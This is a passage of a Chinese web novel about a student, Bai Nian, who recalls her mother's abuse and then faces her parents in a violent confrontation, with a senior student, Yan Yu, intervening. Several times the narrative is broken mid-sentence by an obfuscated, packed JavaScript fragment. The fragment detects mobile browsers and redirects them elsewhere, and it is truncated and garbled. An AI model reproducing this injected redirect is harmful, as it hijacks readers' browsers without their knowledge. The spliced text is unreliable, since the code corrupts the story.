陆续有人开门出来,三三两两的人从她身边经过,她举着手机,从七楼的消防通道里一路狂奔,径直跑到了楼下,跑出了楼外。 看来只有寝室楼内电路系统出了问题,楼下的路灯依旧亮着,人群零星散布在四周,一个夜跑的女生从她旁边过去,夜风略过掀起凉意,白念才发现自己身上起了一层薄汗。 寝室群里的消息开始不断响起。 菲菲:念念你在寝室吗,听说停电了,你没事吧? 江含卿:我们还在老校区这边聚餐,大概还有一个小时。 方淇:要不要我们陪你视频? 今天含卿的男朋友他们系有篮球赛,白念没跟他们一起去。菲菲她们之所以这么问,大概是上学期的偶然一次停电时,白念脸色苍白浑身冷汗的样子吓到她们了。 白念抿了抿唇,眼睛里终于有了些微笑意,抬手回复: 你们好好玩,我没事的。 收了手机漫无目的地走了十几分钟,白念踱步到了晋城大学的青云湖畔。此刻没什么人影,树影浓稠,湖水幽静。 灯光在每颗树下笼出一个一个暖黄的小空间,年久的木质长椅上泛着温润的漆光。白念在一棵树下停住脚步,面对着湖水坐下。 平静无波的水面很容易勾起人的情绪和回忆。 她并不是天生就怕黑的。 — “哇——” 两岁的白宇卓说话尚且不利索,已经会用大哭来博取大人的注意了。 周淑华急急忙忙奔过来一把抱起他哄:“怎么啦我们小卓,哎哟哭得这么伤心。” 白宇卓的直勾勾盯着白念手里的巧克力,继续嚎啕大哭。 周淑华横了白念一眼:“拿给你弟弟!” 五岁的白念不是很理解这个指令。 桌子上还有很多,为什么非要自己手里的。 看她直愣愣地发呆,周淑华失去耐心,一把夺过白念手里的巧克力递给白宇卓,尖锐的指甲刮得白念的掌心生疼。 他收了眼泪接过巧克力,也不吃,翻来覆去捏着玩,发出开心的咯咯笑声。 “那是我的,妈妈……”白念小声地试图和周淑华辩解。 “你的?”周淑华扬起眉毛,嘲讽地笑了声:“这个家里所有的东西都是你弟弟的,没有他你什么也没有。” 她的语气甚至还带着笑意,说出的话小小的白念却不是很懂。 她有些委屈,眼泪已经包在眼眶里,快要跟着委屈一起溢出来。 周淑华没有耐心跟她啰嗦,推搡了她一把:“哭什么哭,别吓到你弟弟!” 彼时的小白念还不会收敛情绪,被重重一推,坐在地上放声大哭起来。 “哭哭哭!只会哭,烦死了,你跟那个老不死的有什么区别,一天只会跟我闹!”周淑华彻底失去耐心,“闭嘴啊!” 白念没有停下来。 周淑华突然脸色一沉,把白宇卓放到一边,起身快步走到白念面前,粗暴地拽起她的胳膊,扯着她大步走到杂物间,把她往里面一扔,“爱哭就进去哭。” 砰—— 门被关起来了。 没有窗户的小房间,一旦关了门就失去光亮,黑沉沉一片。 白念终于忘记了委屈,因为害怕的情绪占据了上风。 “妈妈,好黑啊,我好害怕。” “妈妈,我想出去。” “我再也不敢了。” “妈妈。” …… 没有回应。 拍打门板的声音逐渐微弱,直到消失。 — “喵呜……” 一声清脆的猫叫打破了白念沉浸在阴郁中的思绪。 她抬起头,一只猫小心翼翼地朝她走过来,喵呜一声跳到她身旁的椅子上坐了下来。 这是只长毛猫,通体漆黑,但是四只脚和鼻子是白色的,正歪着头好奇地打量着白念,漆黑的瞳孔在夜晚的光线下放大成正圆,炯炯有神。 白念一张开口,才发现自己嘴唇有些干涩,“你在叫我吗?” 小猫见白念回应她,立刻翘起屁股走了过来,用头在白念的手臂上蹭了一下。 白念猛地收回手,坐远了一点:“别过来。” 小猫我行我素,紧贴上来又蹭了一下,可能觉得自己表现不足,又夹着嗓子叫了一声。 “喵呜~” “……” 见白念没有动作,小猫干脆把尾巴一卷,就势坐下,把自己盘成一盘,躺卧在她腿上。 白念身体一僵,本来要赶人的手悬在半空要落未落,小猫躺得稳如泰山。 僵持了两分钟,白念败下阵来,低头试图跟它沟通:“你饿了?我去给你买吃的,你下去。” 小猫终于肯起身,纡尊降贵地弓起背拉伸了一下,从白念腿上轻轻跳了下去。 青云湖旁有个便利店,不知道猫能吃什么,白念学着平日里其他同学的样子,买了根火腿肠、一瓶水和纸杯,走了回去,猫还在。 “吃吧。”把火腿肠剥了包装,白念手伸得长长地,递到小猫面前。 它甩了甩尾巴,叫了一声,低头嗅了嗅,犹豫了几秒。 “不喜欢吗?”白念有点疑惑。 小猫这才低头吃了起来。 白念松了一口气,拧开矿泉水瓶,给它倒了一杯,放在一旁,然后起身准备离开。 埋头吃东西的小猫突然抬起头,飞快地跟上她的脚步。 “喵呜……” 白念蹲下来看着它,“吃你的东西去。” 沟通无效,两只圆眼睛无辜地瞪着它。 “你跟着我干嘛呢?”白念叹了口气,喃喃地问它。 “喵呜~” 鸡同鸭讲。 “你想让我养你?” 猫尾巴快速甩了两下。 “养不了,我不喜欢猫。” 严格来说,她不觉得她能对一个生命负责。 毕竟自己就是一个不被期待的生命。 小猫仍然瞪着她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914692|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到工作室里喊他们:“小念,阿禹,可以吃饭了。” 白念抬头一看,这是是一位十分优雅的女子,笑容得体,头发绾了个下垂的发髻,一身休闲的家居套装,尽管已经年过半百,但是气质风韵犹自温婉动人。 她细心地先招呼了白念这位新来的客人,白念心里一暖,对面前这位笑容可掬的长辈报以浅笑,微微点头应道:“好的,师母。” 穿过小木屋外的鹅卵石小路,他们步行了两分钟,就来到了隔壁章教授的家中,是一栋二层楼的小别墅,门前的花草被精心料理过,生长得十分繁茂,走到门口,餐厅里暖黄的灯光已经透出门来,伴随着饭菜的香气,渲染出一副温馨的家常氛围来。 两位长辈做到了桌子另外一侧,留下同侧的两个位置给他们俩,严禹顺势替白念拉开座椅,白念自己的手滞在半空,轻声说了句“谢谢。” 师母笑着打趣:“阿禹都学会照顾女孩子了,你妈妈前阵子跟我说你一直不肯谈恋爱,她还担心你是不是太——那个词怎么说来着,钢铁直男?我看这不是挺细心的嘛。” 严禹淡淡笑了下,没有说话,坐回了自己的座位,白念看了看他没什么表情的侧脸,收回了目光。 他确实是一个非常绅士的人。 师母很细心地把距离白念比较远的菜加了一些到她碗里,笑着说:“都尝一尝,也不知道你们年轻人都喜欢什么口味,我和老章每天吃的比较清淡。” 白念愣了一下,严禹开口替她解答疑惑:“师母是丁克。” 章以苓咳嗽一声:“你你们师母很怕痛。” 他话说得简短,白念却从中听出了很多信息,因为自己的妻子怕痛,所以他们宁愿不要孩子,也不要让师母经历生产的痛苦与煎熬。她看着这位总是笑眯眯的儒雅男人,头一次看见了幸福婚姻的模样。 她默默点了下头,这样温馨平和的氛围对她而言太过于陌生,她不知道说什么,只好低头吃饭。 师母倒是笑着白了自己爱人一眼:“别听他瞎说,我只是觉得,孕育一个新生命就要对她(他)负责,我怕我做不好这件事。” 说罢,她抬头冲着对面的两个年轻人温柔一笑:“所以你们的父母都很伟大,把你们养得这样出色。” 白念低头吃饭的手僵在原地,她想,她大概是要冷场了。 “这道糖醋排骨很好吃。”严禹浅淡的嗓音适时响起,打破了白念无所适从的尴尬,她暗自松了一口气,向夹起排骨称赞师母手艺的男生投去无声的感激。 一顿饭毕,已经是晚上十点,章以苓把资料各自给了他们俩一沓,然后起身换鞋:“你们回去可以看看资料早点休息,明天再来画图。阿禹你自己回去可以吧?我和你师母送送小白。” 白念立刻推辞:“不用了老师,我自己打车就行。” 两位长辈十分不赞同,正在拉扯中,严禹提着电脑包走过来,晃了晃手里的钥匙,吸引了三个人的注意。 他轻声开口:“我送你吧。” 41. 怨咒 听到严禹主动提出送她,白念迟疑了一下。 她看了眼正在换鞋子的老师和师母,又看了眼好整以暇拎着车钥匙的严禹,三双眼睛齐刷刷地盯着自己,她思考了一秒自己回去的可能性,唔…… 还没等她拒绝,师母突然放下了手里还没穿上的鞋子,像是突然想起来什么似的一拍额头:“哎呀,瞧我这记性,我锅里还炖了明天的鸭汤,那就让阿禹送一下小念好了。” 章以苓一头雾水地回过头看自己的妻子:“家里什么时候……” 然后被妻子悄悄拧了一把腰,龇牙咧嘴地消音了。 最后的结果就是,两位长辈笑容可掬地挥手目送白念他们俩出了门,殷殷叮嘱道:“路上小心啊,开车慢点。” 直到两人上了车,章以苓才“嘶”了一声去揉自己的后腰,问自己的妻子:“你刚刚掐我干嘛?” 女人优雅地一甩头,把碎发捋到耳后,高深莫测地一笑:“跟你说了你也不懂。” . 再次坐上严禹的副驾驶,白念看着他替自己关了门,低下头系好安全带,等他绕去驾驶侧上车的空隙,短暂地打量了一下内部的空间。 车内非常的简洁干净,除了暗灰色的内饰之外,没有其他赘余的配饰,一如他本人给她的印象一般,简洁,低调,内敛。 严禹开门上了车,看了她一眼,调出导航界面:“你去哪儿?” “睡不着网咖。”白念乖乖回答。 见严禹扭头看了一眼自己,她下意识解释:“我兼职的地方。” “好。” 男生应了一声,设置好目的地,正准备发动引擎,突然想起什么,转过头对她说:“稍等一下。” 他重新下了车,去后备箱取了什么东西回来,敲了敲白念这一侧的车窗。 白念按下车窗玻璃,严禹抬手递过来一块叠得整整齐齐的毯子:“一会儿冷的话可以披上。” 见白念愣神,他又补充了一句:“干净的,没人用过。” 白念说了句“谢谢”,接过毯子放到一侧,严禹上了车,调整好空调温度,发动车子驶离章教授的院子。 机械的导航女音提示行程大约需要五十分钟,白念动了动,感觉座椅靠背对自己来说稍微有些靠前,想着时间有些长,她轻轻问了句:“师兄,我可以调一下靠背吗?” 严禹顿了顿:“你不用这么拘谨,怎么舒服怎么来就好。” 白念笑了笑,低头去调靠背,又听见严禹开口:“我没载过其他人,你可以都设置成你习惯的模式。” 白念嘴唇微微翕动两下,她没有问这个的意思…… 察觉到自己话里的歧义,严禹轻咳一声解释道:“这个项目要做一周,我送你会方便一些。” 白念恍然大悟:“这样太麻烦你了。” “太远了,而且时间太晚很不安全。”严禹眼神示意了一下屏幕上长长的路线。 充足的理由让白念无可反驳,只听见严禹轻笑一声:“你要是真觉得不好意思,可以请我吃饭,你不是——还欠我一顿?” 白念想起来在医院时的那个约定,也笑了起来:“好。” 她不再纠结,彻底放松下来,扭过头去看窗外飞驰的风景,间距整齐的行道树以匀速的方式一闪而过,如同规律摆动的钟表一样催眠。 大约是最近昼夜颠倒的日子让她一直紧绷着,又或许是车内27℃的空调太过舒适,白念数着窗外的树影,意识朦胧地闭上了眼睛。 也就没有看到,为了专心开会静音了的手机屏幕一直闪烁不停。 当来电显示第三次在昏暗的车内空间亮起时,严禹终于轻轻伸手去拿起她的手机看了一眼,想把白念叫醒,怕她错过什么急事,但他的余光瞥过屏幕中间的三个字时,蓦地顿住。 【白宇卓】 他想起那天吃饭时在他背后发生的一切,还有白念颤抖着声音说出的最后那句:“我和你们,再也没有任何关系。” 他眉心皱起,盯着前方思考了两秒,又重新将她的手机屏幕反扣放下,看了一眼抱着手臂睡得安静的女生,他伸手够到毯子,轻轻盖到了她的身上。 等白念再次醒来时,车子不知何时已经停下了。 她是被鼻腔里独特的味道唤醒的,那气味有如实质,蓬松,干燥,柔软,就好像……就好像冬日暖阳下晾晒的棉被。 她猛地睁开眼睛,发现自己半张脸已经埋进了身前柔软的毯子里,兀自睡得香甜。 “师兄……到了吗?不好意思,我好像睡过头了。”她一边折起毯子,一边尴尬地想寻找手机看时间。 严禹听着她刚睡醒时略带点鼻音的声音,浅笑着指了指车子屏幕上角的时间:“没有,我们刚到。” 白念松了口气,抬头一看,车窗外睡不着网咖独特的招牌正在稳稳亮着,她放下毯子道了声谢,就要下车。 严禹拿起被她遗漏在座椅上的手机递给她,白念刚要接过,就听到驾驶室里的男生对她说:“如果有什么事需要我帮忙的话,随时找我。” 白念眨了眨眼,没懂他的意思,只看见他脸上神情异常认真,以为他在说辞职的事,摆了摆手:“没事,老板人很好的,谢谢师兄。” 开门下车后,她又想起来低下头嘱咐了一句:“你回去路上小心啊。” 严禹点点头:“嗯。” . 回到网咖,应姨正在前台坐班,白念第一时间道歉:“应姨,对不起。” 已经提前问过白念原委的应慈一脸笑意摆摆手:“这有什么的,你刚好替我扛过了最忙的这几天,不然临时临刻的我还真不一定找得到人呢。你们老师找你肯定是正事,好好学习是好事。” 说着话白念手机响了,她拿起来一看,应姨给她结算了工资,白念语塞:“应姨,说好了这几天的工资我不要了,算是临时毁约给您的补偿。” 应慈不赞同地摆摆手:“说好了多少就是多少,我不多给,你也别不要。再说了,你正是用钱的时候。” 好说歹说,白念都推辞不过,她心里想着等忙完这段时间再来感谢应姨,收拾好自己的东西,她走出门来,看了眼时间。 晚上十一点半,现在再回学校也来不及,她打算去医院睡一觉,明天晚上再回学校。 手机还停留在跟应姨的微信聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928949|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天界面,她退了出来,刚想关闭屏幕塞进包里,突然看见左下角醒目的好几个未接来电。 白宇卓有什么事这么着急找她?她皱了皱眉,想要回拨过去,鼻翼飘过一阵异常熟悉的浓烈香水味,白念顿了顿,刚要侧过头去。 啪! 右手突然传来一阵大力的拍打,她的手机猛地被甩了出去,重重砸在地上,手背上传来剧烈的疼痛,白念来不及管手机,猛地往旁边躲开。 她迅速抬起头来想看一眼发生了什么,然后就定在了原地。 面前是一个恶狠狠喘着粗气怒视着她的中年女人,熟悉的羊毛卷发,永远浓烈的香水味,以及看向她时眼睛里永远掩盖不住的憎恶。 周淑华。 她的背后是表情严肃的白晟林,沉默地看着眼前一切。 呵——白念看了眼自己手背上被尖锐的指甲划开的血口,从喉咙里挤出一声恍然大悟的轻笑。 她俯下身捡起自己的手机,看了眼屏幕,甩出去的力量太重,已经碎掉了,她放进包里,转身想走。 “白念!你给我站住!”身后女人不顾形象地歇斯底里。 白念转过身来,语气平淡:“别在这里发疯。” 周淑华大口喘气:“你个害人精!你把你弟弟害成这样!还要瞒着家里!要不是我们自己找过来,他都不敢跟我们说!他好好的一条腿啊,你怎么会这么狠心!” 白念把受伤的右手插到裤兜里,挑了挑眉:“他的医药费我会负责,还有什么事吗?” 周淑华被她事不关己的语气激得声音发颤:“你没有心吗,白念?” 白念笑了一声:“如果你们从云城跑过来就是为了问这种无聊的问题,那你们可以省省了。这玩意儿我没有,以后也不会有。” 她转身就要走,周淑华一把扑上来揪住她,突然不管不顾地推搡吵嚷:“你给我跪下!你给我去你弟弟床前跪下!你个贱.人!你你个没有良心的贱.人!” 白念抬手抵挡周淑华发了疯一样的厮打,听到最后两句,她实在没忍住,在混乱中一把抓住周淑华疯了一样的手,反手就扇了回去。 啪! 又是极为清晰的一声脆响。 “白念!”作壁上观半晌的白晟林终于像眼睛复明一样,猛地伸出手抓住了白念的手臂,瞠目怒视她,白念喘着粗气不甘示弱地怒瞪回去。 周淑华则是愣住了,不可置信地捂着脸看着她,怒火攻心大口喘气:“你打我?我以前为什么没有把你掐死……不对……为什么你没有被车撞死!你怎么不去死!” 说到最后,她的目光几乎像淬了毒一般,扬起她涂满艳红色指甲油的手掌,对着白念就要打下来。 白念右手被制住,在剧烈的抗争中呼吸急促,缺氧的大脑里只觉得一阵轰鸣,只有清晰的恶毒诅咒脑海中回响。 你怎么不去死……你去死……去死…… 她几乎站立不稳,认命般地闭上眼,耳边突然传来一阵厉风,什么东西猛地划过她的侧脸,挡住了周淑华的耳光。 “够了。” 一道低沉喑哑的嗓音在她耳边响起,她蓦地睁开眼睛。 42. 怀抱 早应该驱车回家的人,此刻却站在白念身侧,伸手钳制住了疾速落下的手掌。 周淑华的手臂猛地停滞在半空。 被这突如其来的陌生人打断,她几近癫狂的表情凝在脸上,抬头看向高出自己许多的男生,喘着粗气不确定地开口:“你是谁?” 严禹并不理她,只是将她试图反抗的手臂重重地压了下去,随后转向捏着白念手臂的中年男人,表情很冷,声音发沉:“放开她。” 白晟林作为一个工程公司的小老板,习惯了在外发号施令,如今被一个看起来年纪并不大的陌生人威胁和命令,他的脸色不是很好看。 他下意识摆出自以为威严的表情,提高音量企图撑起气场:“我教训自己女儿关你什么事?” 严禹对视上白晟林的眼睛,不再废话,直接抬手捏上他的手腕,手指陡然收紧,冷白的手背上青筋乍起,男人瞬间变了脸色,忍不住倒吸一口凉气:“嘶……疼、疼。” 他一字一顿:“放开她。” 白晟林吃不住手腕上传来的剧烈疼痛,龇着牙不甘不愿地被迫放了手,白念终于脱离他的控制,快速收回自己的手,望向身侧的男生,一时没有说话。 严禹垂下眼睛来,白念顺着他的目光看向自己的右手,手背上有一条十几公分长的破口,从中指延伸到了小臂,正在往外渗出零零星星的血珠,手腕上被白晟林捏出一圈紫红,混杂着几缕被抹开的血丝,看起来触目惊心。 白念下意识把手臂往后藏了藏,不愿意让自己看起来太过凄惨或者窘迫。 一旁勉力挣脱开的白晟林转向他认为更好拿捏的对象:“白念!你在跟什么……” 他看了眼严禹面沉如水的表情,稍微离他远了些,又提起声音,“什么不三不四的人来往!你看看你现在像什么样子?跟我们回医院,还有事要处理。” 白念不想再看着两人一眼,转身要走:“我和你们没什么事好说。” 白晟林十分羞恼,语气也有些发急:“跟我们去办出院,我们要把宇卓带走,手续文件都在你这!” 白念扯了下嘴角,又回过头来,掏出已经碎了屏幕的手机,按了两下,发现彻底没有反应了,她抿了抿唇,抬头问身侧的男生:“可以借一下你的手机吗?” 严禹把手机递给了她,白念凭着记忆拨通了白宇卓的手机,点开了免提,短暂的提示音后,白宇卓的声音在四人中间响起:“喂?谁啊?” “白宇卓。”白念沉声开口。 “……姐?你没事吧!”他略显慌张的声音响起,白念神色还没来得及松动,就听到他忙不迭开口解释,“爸妈突然找到晋城来了,还一直问我你在哪儿,我实在受不了就告诉他们了……” 白念表情瞬间冷了下来,她无视他的问题,缓缓开口:“回云城还是留在这住院,你选一个。” 白宇卓嗫嚅片刻,支支吾吾道:“云、云城吧。姐……你也一起回去好吗?爸妈刚还说不怪你……” 白念闭了闭眼:“白宇卓。” 电话那头的人“啊”了一声,等她说话。 “从今天起。”白念字字清晰,“不要再叫我姐姐。” “喂?怎么了啊姐?最近不是好好的吗,我哪里又惹你?”少年清晰又残忍的问题一个又一个接连抛出,白念左手手指蜷起,指甲快要嵌入掌心,捏着手机的指尖泛白。 严禹看了她一眼,突然虚虚地握住她的右手手腕,避开她的伤口,轻轻扯了扯手机,白念看着他,愣愣地松开了手。 男生径直把手机拿到自己面前:“她说的还不够清楚吗?” 陌生声音突然响起,对面猛地噤声,严禹不再废话,快速挂断了电话,并把号码拖进了黑名单。 白晟林咳嗽一声:“听见没有?宇卓要回去,快跟我们去医院!” 白念冷眼看了这个男人一眼,打开背包,抽出里面的入院手续凭证,举起来对着面前的两个人晃了晃:“东西在这儿。” 白晟林就要伸手接住,白念突然将东西往地上一抛,五花八门的纸页散落一地,惹得他恼羞成怒大声斥责:“你!白念!” 一旁碍于这个高大男生一直没有动作的周淑华来不及骂人,连忙去捡地上洋洋洒洒的单据和纸张。 白念嗤笑一声,再不想看这两张令她作呕的脸,转身拔腿就走,严禹看了一眼自己屏幕上已经拨好的三个数字,还是关了手机,也迈开腿跟了上去。 夫妻俩捡着东西还不甘心地想追上来,白念停下脚步,还没来得及说话,有人就替她开了口。 严禹轻轻晃了晃手机,界面上是清晰的“110”,他嗓音沉沉:“再靠近她一步,我就报警。” 男生音量不高,话语却沉稳有力,让人不敢怀疑他下一秒就会按下拨通建,夫妻俩成功地被这一幕威慑住了,没再动作。 两人眼睁睁看着他和白念离开,转身的一瞬间,男生却偏过头来看了他们俩一眼,深邃眼尾拉长了他眼中淡淡的情绪。 短短一眼,还不够白晟林眨一下眼皮。 巷子里吹过几缕微风,炎热夏夜,他裸露在外面的皮肤突然有些凉。 他下意识想叫上自己的妻子回医院,扭过头,却看见周淑华直勾勾盯着男生快速离开的背影,若有所思。 . 再次坐到严禹的副驾驶位上,跟一小时前已经是截然不同的心情。 严禹替她拉开副驾驶的门,送她坐了上去,却没有立刻关门,站在距离她很近的车外,垂着眼睛望向她:“你还好吗?” 被他撞见自己最难堪的一面,白念看了好久前窗的夜色,才回过头来,抬头对上严禹静静注视着她的视线,轻轻扬了扬嘴唇,努力维持最后的体面与礼貌:“不好意思啊,让你看笑话了。” 严禹看着她勉力挤出的笑容,嗓音有点发涩:“你从来都不是笑话。” 语气异常认真,令白念不由自主地仔细看了他一眼,这才发现严禹望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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径直砸在柔软的座椅表皮上,晕开一朵细碎的水雾。 他立刻慌了神,原本只是微微俯身的人猛地半跪在地上,视线与车里的白念平齐,却不敢去触碰她,只是紧紧抓着她身侧的车身,声音却是截然不同的克制又温柔。 “对不起,我说错话了。” “对不起。” “你不要哭。” 这一声一声低低的安慰,意外地起了反作用,从五岁起就再也没有放声哭过的白念情绪却突然崩溃,她背对着车外人的肩膀细细地颤抖起来,开始只是小声抽泣,直至哭声溃然决堤。 男生的话语哑在喉咙,他闭了闭眼,头一次感觉到自己的无能为力,抓着车门的指尖白到泛青,几乎想要越界,擅自去给她一个短暂相依的怀抱。 背对着他的身影却突然转身,泪眼迷蒙地对上了他的视线,他的呼吸瞬间凝滞,颤了颤唇,想要动作的手定在原地。 眼前人却颤抖着伸出带血的右手,揪住了他干净温热的衣领,骤然将自己埋进了他的侧肩,额头失了力道分寸般重重地磕在他的锁骨,相触的部分同时发出一声闷响。 尖锐的疼痛中,严禹的身体瞬间僵直,只剩下无处安放的手掌凭空猛地抓住柔软的座椅,手背和小臂瞬间攥起盘虬的青筋。 白念抱住了他。 43. 他和“他” 相拥的时间如同静止一般被无限拉长,只有胸前传来的温热昭示着强烈的真实。 严禹的手稳稳地悬在半空,虚扶在白念柔软的发丝之外,一个保护而不唐突的姿态,静静地放任她发泄。 耳畔的女生从放声大哭,变成细声呜咽,最终变成小声抽泣,当最后一点尾音消失时,白念终于抬起头来。 紧贴的部位一分开,晚风轻拂带走脸上的温度,她抹了把瞬间变得潮湿冰凉的脸,低头去看被她抱着哭过的地方。 男生的左侧肩窝处已经被她的眼泪浸湿,白色的衣服上晕染开大片的淡色痕迹,而右侧被她抓握太久,衣服布料已经皱乱得不成样子。 她抬起头来看他,绕是这样狼狈的境地,他半跪下来迁就她的姿势依旧平稳坦然,脸上神情温柔坚定,也垂下眼来看着她。 “好点了吗?”他轻轻开口。 白念没有回答,愣愣地指了指他胸前:“你的衣服……” 她清冽的声线染上了鼻音,带着点和平时截然不同的柔软,严禹顺着她的手指低下头看了看自己的衣服,不甚在意地弯了弯眼睛:“没事。” 白念发泄之后的思绪有些空荡,她下意识开口:“我帮你洗干净。” 她的手掌向前摊开,似乎是等着男生把脏衣服递给她。 严禹眯了眯眼睛,仔细观察了下她呆愣的表情,确定她现在不是很清醒,无奈地轻笑了声:“我没别的衣服可以换。” 白念的视线上上下下,从他含笑的眼睛望到他湿皱的衣服,思考了好几秒才反应过来自己在说什么。 ……难道让严禹在大街上直接把衣服扒下来给她吗? 白念终于后知后觉地意识到自己都干了些什么,扒着人家的肩膀哭就算了,弄脏了他的衣服,还提出这种奇怪的要求。她不自在地动了动身体,顶着浓浓的鼻音轻声开口:“……对不起,脑子有点乱。” 严禹脸上的笑意很快淡去,他恢复认真神色,面对面看着白念:“在我面前不用道歉。” 他这话说得郑之又重,白念抬起头看着他的眼睛,男生的目光坚定又包容,似乎想把这种力量一起传递给她:“你做得一直很好,需要道歉的从来不是你。” 明明好像是在说弄脏他衣服的事情,可他的语气太过认真和庄重,仿佛透过这句话在说其他的事情。 一语惊醒白念。 被旁人撞见这样难堪的场景已经是她从未想过的事情,更遑论把自己的想法摊开来、陈列好,等待着别人观看和评说。 哪怕是眼前人善意的安慰。 白念骤然从溃散懈怠的情绪中回过神来,不该的,她怎么会在一个不相干的人面前这么肆意?今晚一切都太过于突然,是她失态了。 她猛然清醒过来,这才发觉严禹在她面前一直保持着半跪的姿势没有变过,就这么耐心地看着她。 她迟钝地察觉,他们之间的距离和姿势似乎有些太过靠近了——大约是自己刚刚情绪太过崩溃,胡乱抓了根救命稻草抱着就哭,让严禹出于礼貌僵持在这里无法动弹。 她猛地往后退了一步,背部几乎要抵上驾驶位的椅背。 严禹静静地看着她,自然看出她目光轻微一缩就往后退去的动作,他抿了抿唇,随意地往旁边看了看,才转过头来,自然而然地站起身,又问了一遍:“好点了么?” 白念点点头:“好多了。” “嗯。”严禹微微颔首,就要替她拉上车门,“那我送——” 白念却立刻又补充了一句:“谢谢师兄。” 严禹闻言,手上动作就是一顿。 刚才还是“你”,现在却又变成了一句客气有礼的师兄,立刻将两人之间太过凝滞的氛围拉开到一个互不侵扰的距离。 车外的男生好似立刻会意了一般,把剩下的话咽了回去,轻轻点了点头,本来要关车门的手保持将动未动的状态,他垂着眼想了想,开口征求白念的意见:“那你现在去哪儿,需要我送你吗?” 白念这才意识到自己仍然坐在别人的车上,她立刻下了车,男生默不作声地往旁边一站,给她腾出下车的距离。 随后白念抬起头笑了笑:“不用了,今晚已经耽误师兄很多。” 严禹喉结清晰地滚了滚,没有立刻接话。 白念像想起什么似的,又客气地笑着催了一句:“师兄你快回家吧,明天还要早起去章老师那儿呢。” 语气里透露出一股隐秘的急切,眼神对上男生的视线,又很快收回。 她只想快点,快点回到一个人的空间里。 严禹最后看了她一眼:“好,那你注意安全。” 男生转身上了车,安静地驱车离开,明亮的车灯照亮黑暗的街道,又很快消失在白念的视野尽头,空余一片寂寥暗沉。 她紧绷的身体这才轻微放松下来。 这一天事态的发展早已出乎她的意料,车祸发生之后,她从来没管过白宇卓是否把这件事告诉家里,该她负责的她毫不推辞,不该她关心的……她一个字也不想多问。 她知道,心爱的儿子受了伤,她势必要受到一番“讨伐”。只是没想到会爆发在这样一个场景下,暴露在一个毫不相干的人面前。 她现在什么也不想管,只想休息一下。 学校回不去,网咖回不去,医院也回不去了——思索片刻,她想要掏出手机订个酒店,往肩侧一摸,空空荡荡。 她突然发现,她的包还在严禹车上。 就算包还在,手机也坏了。 白念对着看不清尽头的街道深吸一口气,空无一人的街头,此刻已经是午夜过后,她竟没有一处可去。 白念蓦地轻笑了一声。 解决办法不是没有,回去厚着脸皮找应姨借一下手机也好,去附近的便利店凑活一下也好,随便怎么都好,她却觉得有些疲惫,脑子里混混沌沌,一点儿也不想动。 随意看了眼四周,昏黄的路灯下是低矮的路沿石,带着点雨后的潮湿,她懒懒地就地往下一坐,背靠着身后凹凸不平的老树皮发呆。 漆黑的柏油路上静谧无声,偶尔有车经过,暖黄的灯光从路面上碾过去,带起一阵细密晶亮的水雾,复而平静下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993041|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连零碎的反光也消失不见,一切重归黑暗。 白念百无聊赖地数着来往的车辆,看着它们的灯光近了又远,亮了又灭,直至良久之后,新的车灯亮起,行到她的面前,却没有按部就班地远去。 它在白念面前停下了, 她下意识抬起头来,却对上了摇下的车窗内、严禹深深望向她的眼睛。 他去而复返。 打开车门下了车,他走到她面前,将东西递给她:“抱歉,你的包,忘了还给你。” 白念站起身来,垂着眼接过自己的包:“谢谢师兄。” “要送你去酒店吗?”严禹的声音在她头顶响起。 白念神情平静地摇摇头。 “白念。”头顶的男生突然叹了口气,抬手关上了车门,车窗上的深色玻璃清晰地倒映出白念的身影,倒影和白念面对面相望。 严禹对着车窗上那张苍白的脸轻声开口:“如果你是介意今晚发生的事,我会当做什么都没看到,也不会跟任何人说。但是——” 倒影没有开口。 严禹又说:“你现在状态很不好。先让我送你去休息,好吗?” . “欢迎光临,请问二位有预定吗?” 深夜的酒店大堂迎来两个默不作声的客人,前台很有职业精神地微笑迎接。 “没有,麻烦帮忙开一个,”前面的男生顿了顿,扭头去看身后的女生,想要开口问什么,最终还是转过头来,对前台礼貌地笑笑:“单人间吧。” 前台看了看酒店外的车:“先生,需要帮您停车吗?” “不用,谢谢。” “好的请稍等。” 理解地不再多话,前台低下头去迅速帮忙开好酒店,核实过白念的身份后,引导她向电梯走去。 电梯抵达一楼,关门之前一秒,白念回过头看了严禹一眼。 刚要迈出门的男生似有所感一般回过头来,朝她态度自然地挥了挥手,距离太远,她听不清他说了什么,口型依稀是个礼貌的晚安。 白念点了点头,收回目光,电梯上行。 